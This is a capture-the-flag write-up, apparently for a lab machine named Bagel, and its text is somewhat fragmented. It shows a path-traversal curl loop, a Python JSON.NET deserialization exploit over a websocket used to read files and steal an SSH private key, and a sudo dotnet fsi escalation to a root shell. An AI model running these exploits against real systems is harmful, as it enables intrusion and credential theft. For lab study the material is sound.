...
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")
...
Finding the WebSocket DLL
# Gather cmdline content
for i in $(seq 1 2500); do curl http://bagel.htb:8000/?page=../../../../../../proc/$i/cmdline --output - && echo -n "\n"; done >> ./cmdline_enum.log
..
dotnet /opt/bagel/bin/Debug/net6.0/bagel.dll
File not found
python3 /home/developer/app/app.py
/usr/sbin/irqbalance --foreground
/usr/sbin/mcelog --daemon --foreground
...
DLL Decompile & Deserialization
After digging deep into the code I realized that this could be a possible JSON .NET deserialization attack. That was something that is totally new to me and required a lot of research.
Identification
As you can see like mentioned in my linked article the TypeNameHandling is set to "4" instead of "None" which is safe and the default.
public object Deserialize(string json)
{
try
{
JsonSerializerSettings val = new JsonSerializerSettings();
val.set_TypeNameHandling((TypeNameHandling)4);
return JsonConvert.DeserializeObject<Base>(json, val);
}
catch
{
return "{\"Message\":\"unknown\"}";
}
}
To keep the post short I won't go deeper into that, as I myself haven't fully understood the concept yet and just post the exploit code
Exploit
import sys
import json
import websocket
ws = websocket.WebSocket()
ws.connect("ws://bagel.htb:5000/") # connect to order app
order = {"RemoveOrder": {"$type": "bagel_server.File, bagel", "ReadFile": f"../../../../../..{sys.argv[1]}"}}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(json.loads(result)["RemoveOrder"]["ReadFile"])
SSH-Access: Phil
Using my exploit I was able to get the private key of phil and access the server.
That's an easy one. During enumeration of the application I was able to spot credentials for a database.
Using that password I was able to become the user Developer.
[Obsolete("The production team has to decide where the database server will be hosted. This method is not fully implemented.")]
public void DB_connection()
{
//IL_0008: Unknown result type (might be due to invalid IL or missing references)
//IL_000e: Expected O, but got Unknown
string text = "Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=CENSORED";
SqlConnection val = new SqlConnection(text);
string text2 = "INSERT INTO orders (Name,Address,Count,Type) VALUES ('Eliot','Street',4,'Baggel')";
}
Escalation
Local Enumeration
Since we were able to escalate from phil to developer without any problems it's time to enumerate.
sudo -l
Uer developer may run the following commands on bagel:
(root) NOPASSWD: /usr/bin/dotnet
Root
[developer@bagel app]$ sudo /usr/bin/dotnet fsi
Welcome to .NET 6.0!
---------------------
SDK Version: 6.0.113
----------------
Installed an ASP.NET Core HTTPS development certificate.
To trust the certificate run 'dotnet dev-certs https --trust' (Windows and macOS only).
Learn about HTTPS: https://aka.ms/dotnet-https
----------------
Write your first app: https://aka.ms/dotnet-hello-world
Find out what's new: https://aka.ms/dotnet-whats-new
Explore documentation: https://aka.ms/dotnet-docs
Report issues and find source on GitHub: https://github.com/dotnet/core
Use 'dotnet --help' to see available commands or visit: https://aka.ms/dotnet-cli
--------------------------------------------------------------------------------------
Microsoft (R) F# Interactive version 12.0.0.0 for F# 6.0
Copyright (c) Microsoft Corporation. All Rights Reserved.
For help type #help;;
> System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
sh-5.2# whoami
root
sh-5.2# cd /root
sh-5.2# ls
anaconda-ks.cfg bagel root.txt
Last updated
I used to decompile the dll and check the source code